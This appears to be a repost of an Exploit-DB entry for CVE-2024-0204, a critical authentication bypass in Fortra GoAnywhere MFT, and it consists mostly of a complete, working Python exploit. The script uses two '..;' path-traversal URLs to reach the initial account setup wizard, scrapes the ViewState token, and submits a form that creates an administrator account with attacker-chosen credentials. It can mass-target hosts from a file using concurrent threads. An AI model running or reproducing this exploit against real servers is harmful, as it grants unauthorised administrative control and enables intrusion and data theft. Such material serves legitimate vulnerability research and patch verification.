Fortra GoAnywhere MFT 7.4.1 – Authentication Bypass

Exploit Details

Basic Information

Exploit Title Fortra GoAnywhere MFT 7.4.1 – Authentication Bypass
Exploit ID EDB-ID:52308
Type exploitdb
Published 2025-05-29T00:00:00
Modified 2025-05-29T00:00:00

CVSS Information

CVSS Score 9.8
Severity CRITICAL
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2024-0204

Exploit Description

!/usr/bin/env python3 — coding: utf-8 — Exploit Title:…

Exploit Code

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

# Exploit Title: Fortra GoAnywhere MFT 7.4.1 – Authentication Bypass

# Date: 2025-05-25

# Exploit Author: @ibrahimsql

# Exploit Author’s github: https://github.com/ibrahimsql

# Vendor Homepage: https://www.fortra.com/products/secure-file-transfer/goanywhere-mft

# Software Link: https://www.fortra.com/products/secure-file-transfer/goanywhere-mft/free-trial

# Version: < 7.4.1
# Tested on: Kali Linux 2024.1

# CVE: CVE-2024-0204

# Description:

# Fortra GoAnywhere MFT versions prior to 7.4.1 contain a critical authentication bypass vulnerability

# that allows unauthenticated attackers to create an administrator account by exploiting a path traversal

# vulnerability to access the initial account setup wizard. This exploit demonstrates two different

# path traversal techniques to maximize successful exploitation across various server configurations.

#

# References:

# – https://old.rapid7.com/blog/post/2024/01/23/etr-cve-2024-0204-critical-authentication-bypass-in-fortra-goanywhere-mft/

# – https://www.tenable.com/blog/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-vulnerability

# – https://nvd.nist.gov/vuln/detail/cve-2024-0204

import argparse

import concurrent.futures

import os

import socket

import sys

from typing import List, Dict, Tuple, Optional, Union

import requests

from bs4 import BeautifulSoup

from colorama import Fore, Style, init

# Initialize colorama for cross-platform colored output

init(autoreset=True)

# Disable SSL warnings

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# Constants

DEFAULT_TIMEOUT = 10

MAX_THREADS = 10

USER_AGENT = “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36”

PRIMARY_EXPLOIT_PATH = “/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml”

SECONDARY_EXPLOIT_PATH = “/goanywhere/..;/wizard/InitialAccountSetup.xhtml”

class Banner:

@staticmethod

def show():

banner = f”””{Fore.CYAN}

██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗

██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ██╔═████╗╚════██╗██╔═████╗██║ ██║

██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗██║██╔██║ █████╔╝██║██╔██║███████║

██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝████╔╝██║██╔═══╝ ████╔╝██║╚════██║

╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ╚██████╔╝███████╗╚██████╔╝ ██║

╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝

{Style.RESET_ALL}

{Fore.GREEN}CVE-2024-0204 Exploit v1.0{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql{Style.RESET_ALL}

“””

print(banner)

class GoAnywhereExploit:

def __init__(self, username: str, password: str, timeout: int = DEFAULT_TIMEOUT):

self.username = username

self.password = password

self.timeout = timeout

self.headers = {“User-Agent”: USER_AGENT}

self.vulnerable_targets = []

self.non_vulnerable_targets = []

self.error_targets = []

def check_target(self, target: str) -> Dict:

“””

Check if target is vulnerable to CVE-2024-0204 and attempt to create an admin account

Args:

target: The target URL/domain to check

Returns:

Dict containing result information

“””

result = {

“target”: target,

“vulnerable”: False,

“message”: “”,

“admin_created”: False,

“error”: None

}

# Try primary exploit path first

primary_result = self._try_exploit_path(target, PRIMARY_EXPLOIT_PATH)

if primary_result[“vulnerable”]:

return primary_result

# If primary path failed, try secondary exploit path

print(f”{Fore.BLUE}[*] {Style.RESET_ALL}Primary exploit path failed, trying alternative path…”)

secondary_result = self._try_exploit_path(target, SECONDARY_EXPLOIT_PATH)

if secondary_result[“vulnerable”]:

return secondary_result

# If both paths failed, target is not vulnerable

print(f”{Fore.RED}[-] {Style.RESET_ALL}{target} – Not vulnerable to CVE-2024-0204″)

result[“message”] = “Not vulnerable to CVE-2024-0204”

self.non_vulnerable_targets.append(target)

return result

def _try_exploit_path(self, target: str, exploit_path: str) -> Dict:

“””

Try to exploit the target using a specific exploit path

Args:

target: Target to exploit

exploit_path: Path to use for exploitation

Returns:

Dict with exploitation results

“””

result = {

“target”: target,

“vulnerable”: False,

“message”: “”,

“admin_created”: False,

“error”: None

}

try:

url = f”https://{target}{exploit_path}”

session = requests.Session()

# Initial check for vulnerability

response = session.get(

url,

headers=self.headers,

verify=False,

timeout=self.timeout

)

# Determine if target is vulnerable based on response

if response.status_code == 401:

print(f”{Fore.RED}[-] {Style.RESET_ALL}{target} – Not vulnerable via {exploit_path} (401 Unauthorized)”)

result[“message”] = “Not vulnerable (401 Unauthorized)”

return result

if response.status_code != 200:

print(f”{Fore.YELLOW}[?] {Style.RESET_ALL}{target} – Unexpected response via {exploit_path} (Status: {response.status_code})”)

result[“message”] = f”Unexpected response (Status: {response.status_code})”

return result

# Target is potentially vulnerable

print(f”{Fore.GREEN}[+] {Style.RESET_ALL}{target} – Potentially vulnerable via {exploit_path}!”)

result[“vulnerable”] = True

self.vulnerable_targets.append(target)

# Extract ViewState token for the form submission

try:

soup = BeautifulSoup(response.text, “html.parser”)

view_state = soup.find(‘input’, {‘name’: ‘javax.faces.ViewState’})

if not view_state or not view_state.get(‘value’):

print(f”{Fore.YELLOW}[!] {Style.RESET_ALL}{target} – Could not extract ViewState token via {exploit_path}”)

result[“message”] = “Could not extract ViewState token”

return result

# Prepare data for admin account creation

data = {

“j_id_u:creteAdminGrid:username”: self.username,

“j_id_u:creteAdminGrid:password_hinput”: self.password,

“j_id_u:creteAdminGrid:password”: “%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2”,

“j_id_u:creteAdminGrid:confirmPassword_hinput”: self.password,

“j_id_u:creteAdminGrid:confirmPassword”: “%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2”,

“j_id_u:creteAdminGrid:submitButton”: “”,

“createAdminForm_SUBMIT”: 1,

“javax.faces.ViewState”: view_state[‘value’]

}

# Attempt to create admin account

create_response = session.post(

url,

headers=self.headers,

data=data,

verify=False,

timeout=self.timeout

)

if create_response.status_code == 200:

print(f”{Fore.GREEN}[+] {Style.RESET_ALL}{target} – Admin account created successfully via {exploit_path}! Username: {self.username}, Password: {self.password}”)

result[“admin_created”] = True

result[“message”] = f”Admin account created successfully! Username: {self.username}, Password: {self.password}”

else:

print(f”{Fore.RED}[-] {Style.RESET_ALL}{target} – Failed to create admin account via {exploit_path} (Status: {create_response.status_code})”)

result[“message”] = f”Failed to create admin account (Status: {create_response.status_code})”

except Exception as e:

print(f”{Fore.RED}[!] {Style.RESET_ALL}{target} – Error extracting form data: {str(e)}”)

result[“message”] = f”Error extracting form data: {str(e)}”

result[“error”] = str(e)

except requests.exceptions.ConnectTimeout:

print(f”{Fore.YELLOW}[!] {Style.RESET_ALL}{target} – Connection timeout”)

result[“message”] = “Connection timeout”

result[“error”] = “Connection timeout”

self.error_targets.append(target)

except requests.exceptions.ConnectionError:

print(f”{Fore.YELLOW}[!] {Style.RESET_ALL}{target} – Connection error”)

result[“message”] = “Connection error”

result[“error”] = “Connection error”

self.error_targets.append(target)

except Exception as e:

print(f”{Fore.RED}[!] {Style.RESET_ALL}{target} – Error: {str(e)}”)

result[“message”] = f”Error: {str(e)}”

result[“error”] = str(e)

self.error_targets.append(target)

return result

def scan_targets(self, targets: List[str]) -> None:

“””

Scan multiple targets concurrently

Args:

targets: List of targets to scan

“””

with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:

executor.map(self.check_target, targets)

def load_targets_from_file(self, file_path: str) -> List[str]:

“””

Load targets from a file

Args:

file_path: Path to the file containing targets

Returns:

List of targets

“””

if not os.path.exists(file_path):

print(f”{Fore.RED}[!] {Style.RESET_ALL}File not found: {file_path}”)

return []

try:

with open(file_path, “r”) as f:

return [line.strip() for line in f if line.strip()]

except Exception as e:

print(f”{Fore.RED}[!] {Style.RESET_ALL}Error reading file: {str(e)}”)

return []

def print_summary(self) -> None:

“””Print a summary of the scanning results”””

print(f”\n{Fore.CYAN}[*] {Style.RESET_ALL}Scan Summary:”)

print(f”{Fore.GREEN}[+] {Style.RESET_ALL}Vulnerable targets: {len(self.vulnerable_targets)}”)

print(f”{Fore.RED}[-] {Style.RESET_ALL}Non-vulnerable targets: {len(self.non_vulnerable_targets)}”)

print(f”{Fore.YELLOW}[!] {Style.RESET_ALL}Error targets: {len(self.error_targets)}”)

if self.vulnerable_targets:

print(f”\n{Fore.GREEN}[+] {Style.RESET_ALL}Vulnerable targets:”)

for target in self.vulnerable_targets:

print(f” – {target}”)

def validate_args(args):

“””Validate command line arguments”””

if not args.target and not args.file:

print(f”{Fore.RED}[!] {Style.RESET_ALL}Error: You must specify either a target (-t) or a file (-f)”)

return False

if args.file and not os.path.exists(args.file):

print(f”{Fore.RED}[!] {Style.RESET_ALL}Error: File not found: {args.file}”)

return False

if not args.username or not args.password:

print(f”{Fore.RED}[!] {Style.RESET_ALL}Error: You must specify both username (-u) and password (-p)”)

return False

return True

def main():

“””Main function”””

parser = argparse.ArgumentParser(description=”CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Exploit”)

parser.add_argument(‘-t’, ‘–target’, help=”Target host to check (e.g., ‘example.com’ or ‘192.168.1.1’)”)

parser.add_argument(‘-f’, ‘–file’, help=”File containing targets, one per line”)

parser.add_argument(‘-u’, ‘–username’, help=”Username for the admin account to create”)

parser.add_argument(‘-p’, ‘–password’, help=”Password for the admin account to create”)

parser.add_argument(‘–timeout’, type=int, default=DEFAULT_TIMEOUT, help=f”Connection timeout in seconds (default: {DEFAULT_TIMEOUT})”)

parser.add_argument(‘–threads’, type=int, default=MAX_THREADS, help=f”Number of concurrent threads for scanning (default: {MAX_THREADS})”)

args = parser.parse_args()

# Show banner

Banner.show()

# Validate arguments

if not validate_args(args):

parser.print_help()

sys.exit(1)

# Initialize exploit

exploit = GoAnywhereExploit(

username=args.username,

password=args.password,

timeout=args.timeout

)

# Handle single target

if args.target:

print(f”{Fore.CYAN}[*] {Style.RESET_ALL}Checking single target: {args.target}”)

exploit.check_target(args.target)

# Handle targets from file

elif args.file:

targets = exploit.load_targets_from_file(args.file)

if not targets:

print(f”{Fore.RED}[!] {Style.RESET_ALL}No valid targets found in the file”)

sys.exit(1)

print(f”{Fore.CYAN}[*] {Style.RESET_ALL}Loaded {len(targets)} targets from file”)

print(f”{Fore.CYAN}[*] {Style.RESET_ALL}Starting scan with {args.threads} threads…\n”)

exploit.scan_targets(targets)

# Print summary

exploit.print_summary()

if __name__ == “__main__”:

try:

main()

except KeyboardInterrupt:

print(f”\n{Fore.YELLOW}[!] {Style.RESET_ALL}Scan interrupted by user”)

sys.exit(0)

except Exception as e:

print(f”{Fore.RED}[!] {Style.RESET_ALL}Unhandled error: {str(e)}”)

sys.exit(1)

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.